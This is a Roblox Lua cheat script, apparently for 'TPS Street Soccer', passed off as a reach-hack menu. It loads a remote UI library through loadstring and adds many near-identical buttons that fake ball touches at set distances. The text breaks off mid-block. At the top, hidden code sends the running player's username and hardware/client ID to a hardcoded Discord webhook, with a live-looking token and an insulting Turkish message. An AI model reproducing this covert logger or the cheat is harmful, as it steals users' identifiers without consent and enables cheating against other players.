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- Http = game:GetService("HttpService")
- Web = "https://discord.com/api/webhooks/1085048921191108728/HFCNv63o7uWvpnh00LOYNWsvkAVjTSIT87wZMftXnYAX0fnYvi5lAIKLXh_h2F3ouydz"
- if syn then
- local responce = syn.request(
- {
- Url = Web,
- Method = 'POST',
- Headers = {
- ['Content-Type'] = 'application/json'
- },
- Body = Http:JSONEncode({
- ["content"] = "",
- ["embeds"] = {{
- ["title"] = "**scriptin çalıştırıldı!**",
- ["description"] = game.Players.LocalPlayer.Name.. " bu oç sc kullandı",
- ["type"] = "rich",
- ["color"] = tonumber(random),
- ["fields"] = {
- {
- ["name"] = " Ip",
- ["value"] = game:HttpGet("", true),
- ["inline"] = true
- }
- }
- }}
- })
- })
- else
- request(
- {
- Url = Web,
- Method = 'POST',
- Headers = {
- ['Content-Type'] = 'application/json'
- },
- Body = Http:JSONEncode({
- ["content"] = "",
- ["embeds"] = {{
- ["title"] = "**Scriptini Çalıştırdı!**",
- ["description"] = game.Players.LocalPlayer.Name.. " hardwareid aşağıda",
- ["type"] = "rich",
- ["color"] = tonumber(random),
- ["fields"] = {
- {
- ["name"] = "Hardware ID:",
- ["value"] = game:GetService("RbxAnalyticsService"):GetClientId(),
- ["inline"] = true
- }
- }
- }}
- })
- })
- end
- --script
- local OrionLib = loadstring(game:HttpGet(('https://raw.githubusercontent.com/shlexware/Orion/main/source')))()
- local Window = OrionLib:MakeWindow({Name = "Homelander Tps Script", HidePremium = false, SaveConfig = true, ConfigFolder = "OrionTest", IntroEnabled = true, IntroText = "Homelander"})
- --reach
- local Tab = Window:MakeTab({
- Name = "reach settings",
- Icon = "rbxassetid://4483345998",
- PremiumOnly = false
- })
- --bestreach
- Tab:AddButton({
- Name = "2 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 2 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "3 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 3 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "4 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 4 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "5 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 5 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "8 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 8 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "15 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 15 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "30 studs right foot",
- Callback = function()
- getgenv().Leg = "Right" -- Left or Right
- getgenv().Reach = 30 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "2 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 2 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "3 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 3 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "4 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 4 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Right Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Right Leg"), 1)
- end
- end
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("Left Leg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("Left Leg"), 1)
- end
- end
- end)
- end
- })
- Tab:AddButton({
- Name = "5 studs left foot",
- Callback = function()
- getgenv().Leg = "Left" -- Left or Right
- getgenv().Reach = 5 -- Change to whatever you want (The game caps it)
- -- https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 -- DO NOT USE THIS SCRIPT BELOW ME, IT WONT WORK--
- -- GO TO: https://rscripts.net/script/TPS--Street-Soccer-Script-or-Reach-2800 --
- game["RunService"].Stepped:Connect(function()
- if Leg == "Left" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 0)
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("LeftLowerLeg"), 1)
- end
- end
- if Leg == "Right" and game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- if (workspace.TPSSystem.TPS.Position - game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg").Position).Magnitude <= Reach then
- firetouchinterest(workspace.TPSSystem.TPS, game.Players.LocalPlayer.Character:WaitForChild("RightLowerLeg"), 0)
